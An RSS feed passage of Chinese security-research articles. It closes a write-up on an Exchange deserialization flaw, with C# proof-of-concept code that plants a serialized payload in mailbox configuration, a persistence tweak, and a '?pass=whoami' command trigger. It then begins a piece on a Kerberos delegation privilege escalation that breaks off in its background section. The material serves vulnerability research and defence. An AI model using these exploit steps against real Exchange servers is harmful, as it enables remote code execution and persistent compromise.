src="https://wechat2rss.xlab.app/img-proxy/?k=968c2830&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2sspBgpcSky1Oj3rKoCAaBO7EnFaTJhJhTFwB6roiaHl1FxFhiaKOogb2A%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">至此利用圆满达成？并不，这里还有一个严重的问题需要解决：无法多次利用。例如，使用曾经进行过漏洞利用的用户继续测试，将不会成功；同时虽然序列化数据本身是持久化的，但重启之后依然无法生效。这两个情况将导致漏洞只能使用一次，在实战中是不可接受的。</span></section><section style="text-align: left;text-indent: 2em;"><span style="letter-spacing: 0.5px;font-size: 15px;">解决此问题需要重新审视触发点ElcEventBasedAssistant，代码中可发现名为IsEventInteresting的方法，根据名称很容易推测是一个判断是否需要触发事件的开关。此方法内调用了NeedToAutoTag方法验证是否需要自动标签功能，其代码如下：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">bool</span> <span class="code-snippet__title">NeedToAutoTag</span>(<span class="code-snippet__params">MapiEvent mapiEvent, UserRetentionPolicyCache userRetentionPolicyCache</span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> ((mapiEvent.get_EventMask() &amp; <span class="code-snippet__number">2</span>) != <span class="code-snippet__number">0</span> &amp;&amp; userRetentionPolicyCache != <span class="code-snippet__literal">null</span> &amp;&amp; userRetentionPolicyCache.AutoTagCache != <span class="code-snippet__literal">null</span> &amp;&amp; userRetentionPolicyCache.AutoTagCache.UserSetting != <span class="code-snippet__literal">null</span> &amp;&amp; userRetentionPolicyCache.AutoTagCache.UserSetting.AutoTagEnabled)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    Tracer.TraceDebug&lt;<span class="code-snippet__keyword">object</span>, MapiEvent&gt;((<span class="code-snippet__keyword">long</span>)GetHashCode(), <span class="code-snippet__string">&#34;{0}: this event is interesting because it is new mail and auto tagging is enabled: {1}&#34;</span>, TraceContext.Get(), mapiEvent);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section style="text-align: left;text-indent: 2em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 15px;">可以看到，新用户默认会进行一次模型加载处理，这是最初可以成功利用的原因，而后续利用因为AutoTagEnabled默认为false导致失败。</span><span style="font-size: 15px;text-indent: 2em;">AutoTagEnabled是Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.AutoTagUserSetting的成员，很明显是一个简单模型类。</span></span></section><section style="text-align: left;text-indent: 2em;"><span style="letter-spacing: 0.5px;font-size: 15px;text-indent: 2em;">简单搜索AutoTagEnabled即可发现此类由Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadUserSettings读取名为MRM.AutoTag.Setting的配置，尝试从字典中获取名为AutoTagEnabled的布尔值，并为AutoTagUserSetting::AutoTagEnabled赋值。所以只要略加修改poc，加入对MRM.AutoTag.Setting的修改即可：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">byte</span>[] data = GeneratePayload(File.ReadAllBytes(<span class="code-snippet__string">&#34;e.dll&#34;</span>));</span></code><code><span class="code-snippet_outer">UserConfiguration u = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  u=UserConfiguration.Bind(service,<span class="code-snippet__string">&#34;MRM.AutoTag.Model&#34;</span>,folder.Id,UserConfigurationProperties.BinaryData);</span></code><code><span class="code-snippet_outer">  u.Delete();</span></code><code><span class="code-snippet_outer">}<span class="code-snippet__keyword">catch</span>{}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> u=UserConfiguration.Bind(service,<span class="code-snippet__string">&#34;MRM.AutoTag.Setting&#34;</span>,folder.Id,UserConfigurationProperties.Dictionary);</span></code><code><span class="code-snippet_outer"> u.Delete();</span></code><code><span class="code-snippet_outer">}<span class="code-snippet__keyword">catch</span>{}</span></code><code><span class="code-snippet_outer">u = <span class="code-snippet__keyword">new</span> UserConfiguration(service);</span></code><code><span class="code-snippet_outer">u.BinaryData = data;</span></code><code><span class="code-snippet_outer">u.Save(<span class="code-snippet__string">&#34;MRM.AutoTag.Model&#34;</span>, folder.Id);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">{ </span></code><code><span class="code-snippet_outer">  u = <span class="code-snippet__keyword">new</span> UserConfiguration(service);</span></code><code><span class="code-snippet_outer">  u.Dictionary[<span class="code-snippet__string">&#34;AutoTagEnabled&#34;</span>] = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">  u.Dictionary[<span class="code-snippet__string">&#34;NumberOfPredictedEmail&#34;</span>] = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  u.Dictionary[<span class="code-snippet__string">&#34;NumberOfCorrectedEmail&#34;</span>] = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  u.Dictionary[<span class="code-snippet__string">&#34;NumberOfRetaggedEmail&#34;</span>] = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  u.Save(<span class="code-snippet__string">&#34;MRM.AutoTag.Setting&#34;</span>, folder.Id);</span></code><code><span class="code-snippet_outer">}<span class="code-snippet__keyword">catch</span>{}</span></code></pre></section><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 15px;">注意由于此配置默认可能存在，所以需要删除或覆盖。编译执行后重启，直接访问/ews/soap/?pass=whoami依然可以执行命令，至此漏洞利用完美达成。以下为视频演示效果：</span></p><p style="text-align: left;"><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=f9a6edb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2s9oDGzybqUCLrqxp5J5FllFs45deFmcU6Kia8lg9Nic5gl0EiaktI1566g%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=150de54c&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483712%26idx%3D1%26sn%3D0b2cc3c9692f5c58a4eeb246d4b392fc%26subscene%3D0&amp;v=wxv_1639842935753998340"></video></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">最后一个补充：EWS支持NTLM协议认证，采用Relay或是Hash登录均可作为明文密码的替代品，是某些情况下可选的攻击方案。</span></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x06 拓展：CVE-2018-8302</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">同样是[Microsoft.Exchange.InfoWorker.Common]类库，在Microsoft.Exchange.InfoWorker.Common.TopN.TopNConfiguration::ReadWordFrequencyMap方法中可以看到对TopNWords.Data的反序列化，但添加了检查类型检查来确保安全性。</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">bool</span> <span class="code-snippet__title">ReadWordFrequencyMap</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> (UserConfiguration userConfiguration = OpenMessage(createIfMissingOrCorrupt: <span class="code-snippet__literal">true</span>))</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (userConfiguration != <span class="code-snippet__literal">null</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> (Stream stream = userConfiguration.GetStream())</span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        Exception ex = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">          Type[] allowList = <span class="code-snippet__keyword">new</span> Type[<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer">          {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">typeof</span>(KeyValuePair&lt;<span class="code-snippet__keyword">string</span>, <span class="code-snippet__keyword">int</span>&gt;)</span></code><code><span class="code-snippet_outer">          };</span></code><code><span class="code-snippet_outer">          wordFrequency = (KeyValuePair&lt;<span class="code-snippet__keyword">string</span>, <span class="code-snippet__keyword">int</span>&gt;[])SafeSerialization.SafeBinaryFormatterDeserializeWithAllowList(stream, allowList);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        ....</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    ....</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">private</span> UserConfiguration <span class="code-snippet__title">OpenMessage</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">bool</span> createIfMissingOrCorrupt</span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  UserConfiguration userConfiguration = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">  StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);</span></code><code><span class="code-snippet_outer">  Exception ex = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration(<span class="code-snippet__string">&#34;TopNWords.Data&#34;</span>, UserConfigurationTypes.Stream | UserConfigurationTypes.Dictionary, defaultFolderId);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  ....</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> userConfiguration;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">除了白名单列表外的代码如出一辙，是的没错，这就是CVE-2018-8302的漏洞位置。将MRM.AutoTag.Model替换为TopNWords.Data，即可作为exp直接利用。</span></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">当然，现在来看这一点只存在研究意义，漏洞的影响范围已经基本被CVE-2020-0688和CVE-2020-17144完全覆盖。</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x07 补丁与其他版本</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">补丁：TBD</span></section><p style="text-align: left;margin-top: 5px;"><span style="font-size: 15px;letter-spacing: 0.5px;">而</span><span style="font-size: 15px;letter-spacing: 0.5px;">在其它版本中并不存在此功能，看来已经作为实验性质特性被弃用。</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x08 总结</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">我个人不喜欢论文性质的总结，浪费时间且起不到实质效果。总结的本质应当升华文章主题并提出更高层次或更加深入的思想，而不是由打工人回退至论文狗。</span><br/></p><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">无论何种语言，二进制反序列化均属于老旧技术。BinaryFormatter在微软的开发规范中已经被标为弃用，从去年的某个补丁开始（大概是2016CU13）已经为所有的反序列化添加了包装和默认黑白名单，对漏洞进行了基本的防御。</span></section><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">但无论如何，三次在大多数人认知中不属于Exchange的反序列化漏洞应当引起警示。至少在漏洞挖掘中，采用更高一层次的目光着眼于整个系统的体系架构并寻找漏洞，之后结合系统本身与部署环境等多个特性发掘更有利实战的隐蔽利用方式是非常有效的。</span></section><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">而在防御角度看，单纯的序列化/反序列化行为应当仅仅限制在传输基本数据的组合而非包含逻辑的数据，实际上任何使用类似行为的位置都应考虑微软的解决方案，即：任意需求序列化数据的调用方应明确需要何种数据模型，并提供至序列化过程；序列化过程应根据调用方显式提供的模型决定行为，而非数据本身对模型的自描述。</span></section><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">最后顺便一说，Exchange邮箱实现和架构都是可以借鉴的，有相当一部分大型邮件系统使用类似的方式存放大量可能的动态数据。类似的动态行为（尤其是底层大量依赖DI、代码生成、缓存反射等实现的基础设施）实际上很难由自动化工具进行挖掘或测试，漏洞挖掘到了最后一定需要转换为开发和架构的思想，才能百战不殆。</span></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="color: rgb(214, 168, 65);font-size: 15px;letter-spacing: 0.5px;">这是招人纳新的分隔线<br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><br/></p><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">红蓝对抗（特殊场景下的高强度攻防对抗方向）</span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">渗透测试</span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">安全开发（红队 Windows/Linux 武器、平台开发方向）</span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">红队向产品经理</span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">安全研究</span></p></li></ul><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><span style="letter-spacing: 0.5px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></span></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><span style="letter-spacing: 0.5px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如果你拥有以上技能并想加入 A-TEAM（北京、成都，15-30K 能力高者不受此限制），请投简历：</span></span></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><span style="letter-spacing: 0.5px;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">wufangdong@qianxin.com</span></span></p><p style="text-align: left;"><br/></p>



<p><a href="2247483712">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=116f8c6e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483712%26idx%3D1%26sn%3D0b2cc3c9692f5c58a4eeb246d4b392fc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Dec 2020 09:07:00 +0800</pubDate>
    </item>
    <item>
      <title>微软不认的“0day”之域内本地提权-烂番茄（Rotten Tomato）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&amp;mid=2247483689&amp;idx=1&amp;sn=1d83538cebbe2197c44b9e5cc9a7997f</link>
      <description>我叫“烂番茄”，你一定听过“烂土豆”，对我们都可以在IIS下本地提权。</description>
      <content:encoded><![CDATA[<p>
原创 <span>n0thing</span> <span>2020-03-19 11:18</span> <span style="display: inline-block;"></span>
</p>

<p>我叫“烂番茄”，你一定听过“烂土豆”，对我们都可以在IIS下本地提权。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bc4c3ac5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibN2mFcXD7fc7CFpeOMWWHPicMAib9ZAEibWrXcF54N4pDYXgSkVBFCWxcHicBTiblMnq7auCAfvzAPkIMw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">作者：<span style="color: rgb(76, 81, 191);">n0thing@QAX A-TEAM</span></span></p><p><span style="font-size: 14px;">校对：<span style="color: rgb(76, 81, 191);">L.N.</span></span></p><p><span style="font-size: 14px;">同时感谢<span style="color: rgb(76, 81, 191);">QAX A-TEAM审核团</span>对本文提出的宝贵建议。</span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x01 前言</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">这个标题可能有点“标题党”的嫌疑，但内容我想不会让大家失望的。读过《</span><span style="font-size: 14px;">这是一篇“不一样”的真实渗透测试案例分析文章</span><span style="box-sizing: border-box;font-size: 14px;">》的同学应该还记得文中的基于资源的约束委派的利用，当时文中很多细节都一笔带过了，这篇文章中会解答一部分。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">这篇文章主要从利用基于资源的约束委派来本地提权的角度展开，大致分为三部分：</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">第一部分</span></strong><span style="box-sizing: border-box;">我们会讲基础知识，但不会深入；</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">第二部分</span></strong><span style="box-sizing: border-box;">我们会分析提权原理；</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">第三部分</span></strong><span style="box-sizing: border-box;">主要以利用思路和演示为主。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">“烂番茄”</span></code><span style="box-sizing: border-box;font-size: 14px;">，这是一个新名词，这时你一定想到了</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">“烂土豆”</span></code><span style="box-sizing: border-box;font-size: 14px;">，对，我们都可以在IIS下本地提权，文末将以IIS下的权限提升为例进行讲解。</span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x02 基础知识</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">这篇文章的本地提权是一种基于资源的约束委派的利用，因此读者必须要有部分</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">Kerberos委派</span></strong><span style="box-sizing: border-box;">的基础知识，推荐详细阅读</span></span><span style="font-size: 14px;">《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》</span><span style="box-sizing: border-box;font-size: 14px;">,这篇文章从基础的Kerberos委派讲起。如果你还缺少Kerberos的基础知识，推荐阅读</span><span style="font-size: 14px;">《Kerberos and Windows Security Series》</span><span style="font-size: 14px;"><span style="box-sizing: border-box;">。下文中将不会再详细介绍以上前置知识，但会简单的说下</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">基于资源的约束委派（RBCD）</span></strong><span style="box-sizing: border-box;">。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">基于资源的约束委派(RBCD)</span></strong><span style="box-sizing: border-box;">是在Windows Server 2012中新加入的功能，与传统的约束委派相比，它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身，既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">下面我们通过一个简单的业务场景来说明RBCD的作用，假设</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">网站A服务器</span></strong><span style="box-sizing: border-box;">是一个文件系统，而</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">网站A服务器</span></strong><span style="box-sizing: border-box;">只有网站程序相关的功能，真正存放文件的是</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">文件服务器B</span></strong><span style="box-sizing: border-box;">。这种场景下，用户X登录该网站，打开网站中文件1.txt，因为1.txt实际存储在</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">文件服务器B</span></strong><span style="box-sizing: border-box;">中，此时</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">网站A服务器</span></strong><span style="box-sizing: border-box;">就需要访问</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">文件服务器B</span></strong><span style="box-sizing: border-box;">的权限。如果我们利用RBCD来实现这个业务场景，流程如下图：</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.8126410835214447" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1329" src="https://wechat2rss.xlab.app/img-proxy/?k=9f9064b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4IPWgZ4uUzyQbp4tuawV9qnsnXRnibpzEujf9icSY3rMuO7W2DUawqKKg%2F640%3Fwx_fmt%3Djpeg"/></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">用户X 登录网站，访问文件1.txt，此时A服务器需要向B服务器请求资源</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">A服务器首先利用S4U2Self向KDC请求一张用户X的TGS，这里为什么使用S4U2Self，是因为如果用户X登录网站是使用的非Kerberos协议，就涉及到协议转换的问题，因此需要使用S4USelf。如果用户X是使用Kerberos认证登录的，在A服务器上会有用户X的TGS，就不需要使用S4USelf去申请TGS，直接使用用户X的TGS。</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">我们利用用户X的TGS去执行S4U2Proxy获取访问服务器B的TGS了，最后用服务器B的TGS就能够访问到文件服务器B上的文件了。</span></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">在上面的描述中涉及到了</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">S4U2Self</span></strong><span style="box-sizing: border-box;">和</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">S4U2Proxy</span></strong><span style="box-sizing: border-box;">这两个Kerberos扩展协议。</span></span></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: 